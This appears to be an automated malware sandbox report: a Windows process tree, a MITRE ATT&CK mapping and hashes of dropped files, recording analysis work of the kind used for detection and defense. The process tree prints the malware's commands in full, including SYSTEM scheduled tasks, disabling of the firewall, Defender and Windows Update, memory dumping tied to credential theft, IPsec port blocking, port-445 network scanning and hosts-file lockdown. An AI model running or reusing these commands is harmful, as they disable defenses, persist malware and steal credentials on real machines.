    PID:3480
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "bfgicktqy" /ru system /tr "cmd /c C:\Windows\ime\emzriir.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3120
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "knzrvbgag" /ru system /tr "cmd /c echo Y|cacls C:\Windows\znrgncrv\emzriir.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1572
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3308
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "knzrvbgag" /ru system /tr "cmd /c echo Y|cacls C:\Windows\znrgncrv\emzriir.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4972
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "vcpfgnbum" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qzebsiybv\bnidgq.exe /p everyone:F"
  2⤵
  PID:508
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3404
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "vcpfgnbum" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qzebsiybv\bnidgq.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2072
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3400
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3432
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1136
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2128
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2768
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2612
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5028
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:668
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1588
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4340
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2036
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3596
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  PID:2276
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:628
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:116
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:408
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:2332
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:4668
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4504
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    PID:4796
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:4936
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  PID:3484
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4136
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:2104
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1544
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:428
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:4788
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3696
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2496
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  PID:928
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1980
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3480
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2064
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1012
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:4444
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1804
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 796 C:\Windows\TEMP\kgkufnrnc\796.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4424
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 376 C:\Windows\TEMP\kgkufnrnc\376.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2436
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 2108 C:\Windows\TEMP\kgkufnrnc\2108.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5108
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 2724 C:\Windows\TEMP\kgkufnrnc\2724.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1440
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 2860 C:\Windows\TEMP\kgkufnrnc\2860.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1920
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 2960 C:\Windows\TEMP\kgkufnrnc\2960.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4148
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 2720 C:\Windows\TEMP\kgkufnrnc\2720.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4736
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 3756 C:\Windows\TEMP\kgkufnrnc\3756.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1572
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 3840 C:\Windows\TEMP\kgkufnrnc\3840.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3696
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 3904 C:\Windows\TEMP\kgkufnrnc\3904.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4956
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 3992 C:\Windows\TEMP\kgkufnrnc\3992.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4452
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 2148 C:\Windows\TEMP\kgkufnrnc\2148.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4308
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 4200 C:\Windows\TEMP\kgkufnrnc\4200.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4048
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 1692 C:\Windows\TEMP\kgkufnrnc\1692.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1992
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 1592 C:\Windows\TEMP\kgkufnrnc\1592.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3968
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 988 C:\Windows\TEMP\kgkufnrnc\988.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4668
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 3020 C:\Windows\TEMP\kgkufnrnc\3020.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4136
- C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe
  C:\Windows\TEMP\kgkufnrnc\zhcbccpzr.exe -accepteula -mp 1136 C:\Windows\TEMP\kgkufnrnc\1136.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2572
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\kgkufnrnc\uhbggiaeb\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4576
- - C:\Windows\kgkufnrnc\uhbggiaeb\bbqlvcqnq.exe
    bbqlvcqnq.exe TCP 194.110.0.1 194.110.255.255 445 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:3812
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5356
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5812
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:5220
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5384
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3120
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6056

C:\Windows\SysWOW64\ascsoo.exe
C:\Windows\SysWOW64\ascsoo.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:448

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\emzriir.exe
1⤵
PID:3764
- C:\Windows\ime\emzriir.exe
  C:\Windows\ime\emzriir.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4076

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\znrgncrv\emzriir.exe /p everyone:F
1⤵
PID:1340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2436
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\znrgncrv\emzriir.exe /p everyone:F
  2⤵
  PID:668

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qzebsiybv\bnidgq.exe /p everyone:F
1⤵
PID:1472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1720
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\qzebsiybv\bnidgq.exe /p everyone:F
  2⤵
  PID:436

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\znrgncrv\emzriir.exe /p everyone:F
1⤵
PID:5880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:5384
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\znrgncrv\emzriir.exe /p everyone:F
  2⤵
  PID:3400

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\emzriir.exe
1⤵
PID:5944
- C:\Windows\ime\emzriir.exe
  C:\Windows\ime\emzriir.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5632

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qzebsiybv\bnidgq.exe /p everyone:F
1⤵
PID:5060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4420
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\qzebsiybv\bnidgq.exe /p everyone:F
  2⤵
  PID:4532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\kgkufnrnc\1692.dmp

Filesize
8.7MB

MD5
da8100fffd8206e3d1b01886786efbe1

SHA1
97342b572514e2dd052f96fde92c412b0f9230bb

SHA256
c9c9ebd02c6b9d10e2bf2e3d5348b54b10f87d55b6dd7fa6da3e8e4ffdb8fe01

SHA512
e4bc18a59963f73cd8c16bd4a4be4fa70b606c2bfd6b8ce9e6b1ee612728faa30b556f93cc790ff6c588e996648fb5efa5b8aa3608957f8e8c6dd04381dd0333

Download Submit
C:\Windows\TEMP\kgkufnrnc\2108.dmp

Filesize
4.3MB

MD5
c7cf3fe8db53c1fea22ad53100a62449

SHA1
a0c7695675ccac605efa33774fa4545f88d88b17

SHA256
f30b75147c4b61e7f950724496b8c8d2343595a0c75c293b92796a42f46fe230

SHA512
16102a219dd0f88d2a7a6dd47b878401b4696ae1a7acc039fa185720fa34f34ce5f7cb2874a556ab36701bebc9c9b8a812e6d45821bdffa07c3e0291601af4d7

Download Submit
C:\Windows\TEMP\kgkufnrnc\2148.dmp

Filesize
25.8MB

MD5
24e78db131760bb8bd8da7793e7d652a

SHA1
18329643095c43695b035529cd799dd09b30e6e5

SHA256
2e51376044c099fb129a0113332ae7f23bd6456fe36a2c8e5e6a4bc976d49759

SHA512
dea381913389ed8aae56f8f5aea9541607a936941abddb1f412bce6ed81559a31b61bf2f7e45c16e206f6adb456821e54a9c67e4bb7d87fef3de10abe5cd1247

Download Submit
C:\Windows\TEMP\kgkufnrnc\2720.dmp

Filesize
2.9MB

MD5
a3bb24206be50a06d4483534837b640c

SHA1
0cba10f31d565e5fc5c1f77818bda876c8ce4bf5

SHA256
90c2cd725c87b874ae38ea11ed16d96ab18794c974cb3dd13d872561787675b4

SHA512
f0c7d820ae033bc2c8bef8b31681a51a0bcb38ba48fedae2bd261e497002e8ad78b80d9705f457d9fee4523193257f8c479c2f27c8471728d54eba640491e9d0

Download Submit
C:\Windows\TEMP\kgkufnrnc\2724.dmp

Filesize
7.5MB

MD5
bdc941f4f63bca4822869c5ea73598bf

SHA1
35f0522eefd55109f21b1f1d2ae1db475de5abc3

SHA256
ec2a636c8e31dceafa827c67d4aa8bc42fba5c9b3d6405351299037d94e1c636

SHA512
2a600dc72668aa6827307abdf4088699e7ff05fe9614c7136e545de8dde031b69d95702f2bfc73011538d312750eebee442d0e6bfba7784bd5129548a5b5c856

Download Submit
C:\Windows\TEMP\kgkufnrnc\2860.dmp

Filesize
3.9MB

MD5
bf979bf9c75e0f02cbb166667130a0be

SHA1
4b82e4aedc579703f73fc9b21675ea1b946bcb9d

SHA256
0ead4574e173f0462fbf8cde2353a6a0d08b568ff2526814f30c6a15a9d65a38

SHA512
cac17fd651d809beea5eebe0e86b20641c320182a0d6b9133ddbc64e1e122ffeb5609f63df4a06068f999540f4be9cb90e71f71503633aa3b3f4110913f82aa3

Download Submit
C:\Windows\TEMP\kgkufnrnc\2960.dmp

Filesize
800KB

MD5
323bffc527952ab15a9e6e1f4b0e2577

SHA1
0663b991ccf3c78506029dfeb6b7d9011efd1313

SHA256
5533cc507e7ba0de47e3ae7062f7f39e9ed1198ea43140d7fcc8f60ff3af0dcb

SHA512
1876b4499f3e53bf1ec2c3941c7b3f3b659db1f6628c5e4027f62ec608a19f80ccac5e5a40a5244b940ec6e90dc7f0e799372b046869198f8c769cad9b4ff8a6

Download Submit
C:\Windows\TEMP\kgkufnrnc\3756.dmp

Filesize
2.7MB

MD5
48b7c177d804d958a696f36323913197

SHA1
d5a4536ea3622d77eb043f955abd5484e5f6d2ae

SHA256
b3bf0ae67cd604ae35e1118b620881c3f26cef88d289698264b4ec3eee1b53a4

SHA512
fc9e9ec254ab7233889a21b9b70498b15af932f953c97cefda1017471df0f68b44146b9d7d032e15630644290fb5f99454057678c0047e6536d83237240fa3ac

Download Submit
C:\Windows\TEMP\kgkufnrnc\376.dmp

Filesize
33.4MB

MD5
24908fdad095910d8f6f080061c8aeab

SHA1
95cb101127719c0120e1b4e890dee1112c96bdad

SHA256
b00723e77fd0c50a0d7eac8e7f71811f578836c2e85cf6ec80341cb2cd9332c2

SHA512
24e1a48eb3e8ee72472b4ac76afa8d7011b9dd39941f5246f5bbb4f460e0960550d50ea38e34281d264addfead624ee2438c54d03be7845d641c5be59fd00e85

Download Submit
C:\Windows\TEMP\kgkufnrnc\3840.dmp

Filesize
20.5MB

MD5
649db5c9b2b06dd1289a10e408e7d04c

SHA1
d34281e7e5910859b7c9756147808086f106e934

SHA256
cb98d32187cd39887b547a2a639e10476db1ec05009bc85a5a9235bfa7bfd93e

SHA512
b0e5af8d52eaf6a4a7801387f282338c9795d2eb9bc874d1156c7c5527907510b0b1173e970d99cdbda9a963dac7b9c318609abc2b1a874dd62733dfe4aec0a6

Download Submit
C:\Windows\TEMP\kgkufnrnc\3904.dmp

Filesize
4.7MB

MD5
0bb4218a20ef8e3e45acde0f3bb94962

SHA1
bdd2c9d1bce69a18b4b187b0eceff532f22586b2

SHA256
85e03fe620ba69b3dd34f60dfa783649009e5622fb0bb82958f4fcc83b133ef9

SHA512
594db676debe4fd0d0062b72723c6a946bba592621de2725d017af858bba6fb87928ff7eb086c511f8c41353c7b20aa64d999af50a00edc5f25efcd29631564a

Download Submit
C:\Windows\TEMP\kgkufnrnc\3992.dmp

Filesize
45.1MB

MD5
d55deb888727c835c6a9a6c94fb05b80

SHA1
5c9784290f2207fc4596d11e124fbf9860c9a019

SHA256
ed0e0fa711136d2fde7a298cce9d10762ab5ac410efb9671503a28df40eb1abd

SHA512
e4a580e63f583aa3bbf737e2e3b4e8fed8021975278a2aa23bbb6167d8630472178f13e77e83a48bb3de7e17cb691cd25f826d6b6ff6dc65db76289e2541d6f6

Download Submit
C:\Windows\TEMP\kgkufnrnc\4200.dmp

Filesize
1.2MB

MD5
be2e7560777861d6fb39f456b09e5d77

SHA1
74c5c14381eed5588e640d4118026b76b614370f

SHA256
00b057a985efe89d0b1371a3a46e73acf10aaad9a281b25c385bdc920dc0508a

SHA512
f372a2baf822ad4e2cf6250c41e223dfd4acb88288163c0250098fef57652d82619df39b38fd91ed0e1503b2b984d4b18739998ada939765ca3c8a56f97de168

Download Submit
C:\Windows\TEMP\kgkufnrnc\796.dmp

Filesize
1019KB

MD5
05d2876687812d607d3d28be0584f831

SHA1
8a0597021c0171ed8403a65eb63b9edc83104748

SHA256
1bf53ae6b69a7b6f7bfc1bb919cf89183ee6e4b708f468bca72219ddff07d020

SHA512
84b1e2c6d00e07f6442009da3a77baca8379906dbdaef88620c51c6666100cdba7cd3af62057e80a90aa2e610700beecaa3992063af569ab31b057e0634d9ead

Download Submit
C:\Windows\TEMP\qzebsiybv\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\kgkufnrnc\zhcbccpzr.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\nsb2E41.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsb2E41.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\qzebsiybv\bnidgq.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\kgkufnrnc\Corporate\vfshost.exe

